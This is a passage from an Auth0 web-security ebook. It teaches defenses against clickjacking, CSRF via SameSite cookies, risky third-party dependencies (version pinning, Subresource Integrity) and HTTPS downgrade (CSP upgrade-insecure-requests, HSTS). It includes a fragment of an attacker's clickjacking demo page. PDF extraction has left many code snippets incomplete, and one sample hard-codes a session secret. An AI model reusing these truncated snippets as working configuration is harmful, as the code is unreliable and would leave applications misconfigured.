permission is specified, so the iframe content cannot replace the top-level
content, as the allow-top-navigation value would have allowed.
If you want to try this client-side defense and the attacker’s related
neutralization, you can download the adapted project with the following
command:
| © Auth0 2022
sample-app.git
auth0.com
81 Security for Web Developers
Start from the original sample project by following the instructions given in
the Set up the environment section. Then, edit the server.js file as shown
below:
// server.js
app.set(‘views’, ‘./templates’);
// new code
res.setHeader(‘X-Frame-Options’, ‘sameorigin’);
next();
});
auth0.com
82 Security for Web Developers
// ...existing code...
http://localhost:${port}`));
With this restriction, an attacker will not be able to use the technique shown
before to capture users’ clicks. You can verify that this defense works by
changing the iframe opacity in the attacker’s page:
<html lang=en>
<head>
<style>
#vulnerable_website {
position:relative;
width:800px;
height:900px;
top:75px;
left: -95px;
z-index:2;
padding-left:80px;
| © Auth0 2022
}
auth0.com
83 Security for Web Developers
#attacker_website {
position:absolute;
z-index:1;
#attacker_website button {
margin-left:100px;
</style>
</head>
</html>
Once you apply this change, restart the attacker’s website. You should see
something similar to the following picture:
| © Auth0 2022
auth0.com
84 Security for Web Developers
To try this approach, you can download the sample app project variation
with the following command:
Using CSP
For example, after restoring the sample app project to its original state,
change the content of the server.js file as follows:
// server.js
app.set(‘views’, ‘./templates’);
// new code
next();
});
// ...existing code...
http://localhost:${port}`));
Auth0 protects its Universal Login page from clickjacking attacks by sending
both X-Frame-Options and Content-Security-Policy headers. If both
headers are specified, X-Frame-Options takes priority.
To test the CSP approach to defend the sample app from clickjacking,
| © Auth0 2022
clickjacking-sample-app.git
The sameSite property has been recently introduced, so old browsers may
not support it.
Let’s take a look at how you can apply this approach. Restore the original
project as described in the Set up the environment section and change the
content of the server.js file as in the following code snippet:
// server.js
// ...existing code...
app.use(express.static(‘public’));
app.use(session({
secret: ‘my-secret’,
resave: true,
saveUninitialized: true,
| © Auth0 2022
cookie: {
httpOnly: true,
}));
// ...existing code...
http://localhost:${port}`));
You simply added the sameSite property with the ’strict’ value to the
session cookie. This value tells the browser not to send the session cookie
when the request comes from a different domain.
To verify that the user can’t finalize the purchase through the
attacker’s website, you need to access the attacker’s website via the
http://127.0.0.1:4000 address. The reason is the same you learned in
the CSRF chapter. You are using the same domain name (localhost) for
both the vulnerable and the attacker websites, and cookies are shared
independently of the port. Of course, in production, you will not have this
problem.
sample-app.git
| © Auth0 2022
auth0.com
88 Security for Web Developers
Summary
This chapter guided you through analyzing how a clickjacking attack
works and how you can protect your web application by applying different
approaches:
For a more in-depth discussion about clickjacking prevention, you can take
a look at the OWASP cheat sheet.
| © Auth0 2022
auth0.com
89 Security for Web Developers
Third-Party Assets
Security Risks
“The general who wins the battle makes many calculations in his
temple before the battle is fought. The general who loses makes but
few calculations beforehand.”
- Sun Tzu, The Art of War, Chap. I - Detail Assessment and Planning
| © Auth0 2022
auth0.com
90 Security for Web Developers
Third-Party Assets
Security Risks
The vulnerabilities you explored in the previous chapters come from
the code written for your web application. However, your application
doesn’t just contain your code. You almost certainly use packages in
your application that you did not write. Security risks may arise in your
applications from third-party dependencies.
In this chapter, you will learn how you can protect your web applications
from vulnerabilities that come from third-party assets.
What are the risks you may face with third-party vulnerabilities? Many are
the same risks you can have with vulnerabilities in your code:
| © Auth0 2022
• Injection flaws
• Other risks derived from the foundational work that many packages do
• Assets inventory
• Dependencies analysis
| © Auth0 2022
• Risk assessment
auth0.com
92 Security for Web Developers
• Risk mitigation
Assets inventory
The first step in this process is to know what dependencies your web
application is using. This is far more difficult and uncommon than you think,
especially in a modern web application.
Dependencies analysis
Once you list the dependencies used in your project, you should inspect
them to search for vulnerabilities.
If the dependency comes from an open-source project, you can check its
code. Otherwise, you can consult the vendor’s security bulletins or check
out specialized databases such as the National Vulnerability Database.
npm comes out of the box with the ability to check for security
vulnerabilities in your Node.js projects. You can launch this inspection by
typing npm audit in a terminal window. You can also automatically update
your npm dependency by running npm audit fix. Be aware you may
need to upgrade specific packages as well. Create a new branch in your
repository before doing this work.
Whatever tool you use, the result of this analysis step is a list of the
vulnerabilities that affect your dependencies and their severity.
| © Auth0 2022
auth0.com
94 Security for Web Developers
Risk assessment
You may think that if a new version of your dependency fixes that
vulnerability, you have to install that update. However, updating a
dependency is not always a smooth task. You need to be sure that the new
version doesn’t break your application or other dependencies. You also
need to ensure that the new version is not introducing new security issues.
Finally, you need to balance the effort of upgrading and its benefits.
Maybe you will find vulnerabilities that don’t actually affect your application
so that you can postpone the dependency upgrade to a later time. In other
words, you can decide to accept the risk represented by the security issue
you discovered in a dependency in some circumstances.
Risk mitigation
Now you have a clear picture of the situation. You may have vulnerabilities
you can temporarily ignore, but you also may have issues that you must
resolve.
If a fix for a vulnerability exists and the upgrade is straightforward for your
application, you should apply it. In case there’s no fix for a vulnerability
affecting one of your dependencies, you have two choices:
At the end of this process, you should have addressed the most dangerous
vulnerabilities that could affect your application.
You may have different scenarios depending on the type of project and its
configuration. Let’s see how to deal with those issues.
| © Auth0 2022
auth0.com
96 Security for Web Developers
“name”: “my-app”,
“version”: “1.0.0”,
“main”: “index.js”,
“scripts”: {
},
“keywords”: [],
“author”: “”,
“license”: “ISC”,
“dependencies”: {
“axios”: “^0.19.2”,
“express”: “^4.17.1”
}
| © Auth0 2022
It declares that the current project depends on axios version 0.19.2 and
Express version 4.17.1. However, the caret (^) before the version number
tells the package manager can install any version that is compatible with
auth0.com
97 Security for Web Developers
Say you found no security issues in the current versions of those packages.
With this configuration, you may add an uncontrolled version of those
dependencies in your project with the risk of introducing new vulnerabilities.
You have two ways to fix the dependency versions of your Node.js project:
You may have the same problem with other package managers. For
example, in .NET you can specify a reference in your project as in the
following example:
<Project Sdk=”Microsoft.NET.Sdk.Web”>
<PackageReference
Include=”Microsoft.AspNetCore.Components.WebAssembly.Authentication”
Version=”3.2.*” />
</Project>
auth0.com
98 Security for Web Developers
In this case, NuGet will install the highest stable package version starting
with 3.2. Again, you would not be sure of the specific version you are
running in your application with this configuration. Consider using a specific
version for your dependency to ensure you get the exact package you
know you can trust. Check out the NuGet package versioning document
to learn more.
<script src=”https://unpkg.com/[email protected]/umd/react.production.min.js”>
</script>
This reference uses the unpkg CDN to load a specific version of React.
| © Auth0 2022
get the most recent update of that library. So, similarly to npm, you specify
version 17 but will get version 17.0.1 and subsequent patches and minor
updates.
However, even if you specify a given version of your library, you may not be
sure if the code has not been tampered with, say, after an attack. You may
also need to use libraries or scripts that don’t provide any explicit version
number.
The Subresource Integrity feature ensures that the third-party asset has
not been changed since your latest security review. You need to add two
attributes to the script element seen above to enable that feature. The
protected script would appear like the following:
<script src=”https://unpkg.com/[email protected]/umd/react.production.min.js”
integrity=”sha256-Ag0WTc8xFszCJo1qbkTKp3wBMdjpjogsZDAhnSge744=”
crossorigin>
</script>
You added the integrity and crossorigin attributes to the <script> tag.
The value of the integrity attribute is the hash value of the third-party
asset. It is represented by a string in the form algorithim-hash. The
algorithm is sha256 in the example above, and the actual hash value is
Ag0WTc8xFszCJo1qbkTKp3wBMdjpjogsZDAhnSge744=.
When the browser loads the asset from the CDN, it will compute the file’s
hash value. If the value is equal to the value specified in the integrity
attribute, the asset is loaded. Otherwise, the asset will be blocked, and the
browser will throw an error in its console, as in the following picture:
auth0.com
100 Security for Web Developers
The console shown above is from Chrome. In this specific browser, the error
message also provides the expected correct value for the hash. So, you can
leverage the Chrome console as a manual tool to compute the value for the
integrity attribute as a side effect of the integrity verification.
Consider that not all browsers generate an error message with the expected
hash value.
Alternatively, you can use the SRI Hash Generator, an online tool that
generates the whole script tag with the computed integrity value.
You can also use openssl to generate the hash value. To do so, this is the
command you’ll have to run:
auth0.com
101 Security for Web Developers
So far, you have seen an example of protecting from an external script with
Subresource Integrity. Additionally, the same mechanism applies also to CSS
files. To protect your application from external stylesheets, you can use the
same integrity and crossorigin attributes for the <link> tag.
Summary
In this chapter, you learned that writing your code with security in mind
may not be enough to make your application secure. You also need to pay
attention to third-party assets. Once you add them to your application, they
become a part of it, with any potential vulnerability they may have.
The chapter also suggested the best practices you should follow to keep
your third-party assets under control. First, you should know your third-
party assets, which vulnerabilities they may be affected by, and what level
of risk they bring to your application. Then, once you reach an acceptable
security risk level, you should generally freeze the current situation to
avoid unwanted updates or tampering. You can do this by locking package
versions on the server side and using Subresource Integrity on the client
side.
When it comes to third-party assets, you and your team will inevitably have
to make some tough calls about risk management. Hopefully, this chapter
has provided the tools to make those decisions in a more informed way.
Sheet.
auth0.com
102 Security for Web Developers
HTTPS Downgrade
Attacks
“For to win one hundred victories in one hundred battles is not the
acme of skill. To subdue the enemy without fighting is the acme of skill.”
However, even if you enabled your website to use HTTPS, there are
situations that an attacker can exploit to downgrade the secure protocol to
| © Auth0 2022
Suppose your website is using HTTPS, but you missed updating a link in
one of your pages, say the following one:
This link uses plain HTTP. What happens if the user clicks that link and
the HTTPS-enabled server receives a plain HTTP request? The typical
approach is to redirect the client to use HTTPS, as shown by the following
diagram:
However, an attacker may intercept that harmless HTTP request and trigger
the person-in-the-middle attack you are attempting to avoid with HTTPS.
The following diagram shows how interception may occur:
| © Auth0 2022
auth0.com
105 Security for Web Developers
From that request on, all messages sent by the client are transmitted via
HTTP and can be manipulated by the attacker. One single HTTP request
may compromise the whole communication security between the client
and the server. For this reason, you should never mix HTTP and HTTPS
protocol on a website.
To avoid this type of protocol downgrade, you should make sure that all
the internal links in your website are relative or use HTTPS. This may be an
affordable solution for small websites, but it is not feasible for a large one,
especially if its content is derived from many people’s contributions.
Alternatively, your server application can send the HTTP header to the
| © Auth0 2022
// ...other require...
res.setHeader(“Content-Security-Policy”, “upgrade-insecure-requests”);
next();
});
// ...other code...
Using HSTS
There are situations where the CSP upgrade-insecure-requests
directive may not be enough. For example, this happens when a third-
party website links your website with the http scheme. The upgrade-
insecure-requests directive tells the browser to use HTTPS for any
further request originated by that page; however, the page itself must be
requested through HTTPS. If it is requested via HTTP instead, the person-
in-the-middle attack may still happen, and the attackers can manipulate the
| © Auth0 2022
HTTP headers before they reach the browser. In short: the CSP upgrade-
insecure-requests directive doesn’t eliminate the risk of having HTTPS
downgraded.
auth0.com
107 Security for Web Developers
You need a way to tell the browser to use HTTPS to request any resource of
your website, not just the resources linked to the current page. This is the
purpose of one last HTTP header to discuss: the HTTP Strict-Transport-
Security (HSTS). The following is an example of HSTS header received by
a browser:
When the browser receives such a header, it records the page’s domain and
the expiration time expressed in seconds through the max-age directive.
Until that max-age (or if a new HSTS header is received with a refreshed
max-age), the browser will use HTTPS for any request sent to that domain.
This will occur regardless of the specified protocol and continue until the
expiration time elapses and no new HSTS header is received.
In the example, besides the max-age directive, you may notice the
includeSubDomains directive. This directive tells the browser to apply
the HTTPS request policy to any subdomain of the current page’s domain.
This increases the security of the whole domain hosting your website or
application.
Suppose a user has never visited your website. Now, suppose they
manually insert your website URL in their browser’s address bar by
auth0.com
108 Security for Web Developers
explicitly using the http scheme. Since this is the first time the user has
made a request to your website and their browser knows nothing about
it, that request is vulnerable. After the first request with an HSTS header,
the browser will know that it always must use HTTPS. An attacker may
intercept the first request, and your website is compromised.
How can you instruct a browser to reach your website by always using
HTTPS, including the very first time?
Well, you can request to add your domain to the HSTS Preload List. Google
maintains this domain list and is hardcoded into Chrome as the list of sites
that should be requested exclusively via HTTPS. Most major browsers also
have their HSTS preload list based on the Chrome list.
Once your domain is included in the hardcoded HSTS list of a browser, the
browser will no longer make any requests to your website via HTTP.
You may apply HTTP-to-HTTPS redirection and HSTS headers, but API
| © Auth0 2022
clients usually don’t follow the redirect, unlike browsers. So, the only
practical approach is to deprecate the HTTP protocol and use only HTTPS,
as recommended by CIO.gov.
auth0.com
109 Security for Web Developers
The main problem here is how to deal with possible HTTP requests. In
case of migration from an HTTP-based API to HTTPS, you should apply a
progressive transition involving the partners that have built clients for your
API. Also, be explicit in the API documentation about using HTTPS. From
a technical point of view, your API should return the 403 Forbidden HTTP
status code to an HTTP request.
// ...other require...
next();
});
// ...other code...
In the code above, you check if the current request is not using HTTPS
(req.secure) or the original request didn’t use that protocol (req.get(‘x-
forwarded-proto’) !== ‘https’). The latter check helps ensure HTTPS
use even if your API is behind a reverse proxy. If the request is not using
HTTPS, the server sends a 403 HTTP status code as a response.
| © Auth0 2022
auth0.com
110 Security for Web Developers
Summary
This chapter showed you that ensuring security by simply forcing HTTPS
as the default protocol in your website or application isn’t a trivial task. The
person-in-the-middle attack may still happen in certain situations. However,
you can leverage a few standard HTTP headers to mitigate this risk: the
CSP upgrade-insecure-requests directive and the HSTS header with
preloading. You also learned that a slightly cruder approach should be used
for Web APIs due to the lack of standard clients that can apply security
policies as browsers do.
To learn more, visits the OWASP HSTS Cheat Sheet and the CIO.gov
HTTPS adoption guidelines.
| © Auth0 2022
auth0.com
111 Security for Web Developers
Where To Go Next
“Do not repeat the tactics which have gained you one victory, but let
your methods be regulated by the infinite variety of circumstances.”
- Sun Tzu, The Art of War, Chap.VI - Weak Points and Strong
| © Auth0 2022
auth0.com
112 Security for Web Developers
Where To Go Next
Reading this book and practicing the proposed exercises, you got to know
five common threats that may affect your web application. You learned how
to defend it from those threats by applying the best practices that Web
standards and community can provide. You also learned that defenses are
rarely definitive. Securing a web application is a continuous activity that
requires constant vigilance.
You learned about just five threat scenarios, but the possible threats are
by far many more. Just take a look at the list of classified attacks from
OWASP. You’ll find dozens of attacks that can threaten your application,
and these only scratch the surface. Knowing every detail of every threat
may push beyond your expertise as a developer, especially with a
constantly-shifting security landscape. However, you have to be aware of
them and apply the best available protection using the library or tool that
fits your development environment.
Throughout the book, you found many references to the OWASP website.
It is one of the best resources about web application security. Beyond its
effort in classifying attacks and vulnerabilities, the foundation suggests
countermeasures to improve your application’s security. For example,
the OWASP Web Security Testing Guide is a project aiming to provide a
comprehensive guide to testing the security of web applications and web
services.
Designing your software with security in mind may direct you to use
the right library to prevent security issues, the right tool to analyze your
codebase, and the right service to deploy or integrate your application with.
For example, relying on professionals who apply security best practices,
such as Auth0, relieves you of much of the burden of ongoing monitoring
and keeping up with security standards.
| © Auth0 2022
auth0.com
About Auth0
All rights reserved. This eBook or any portion thereof may not be reproduced or
used in any manner whatsoever without the express written permission of the
publisher except for the use of brief quotations.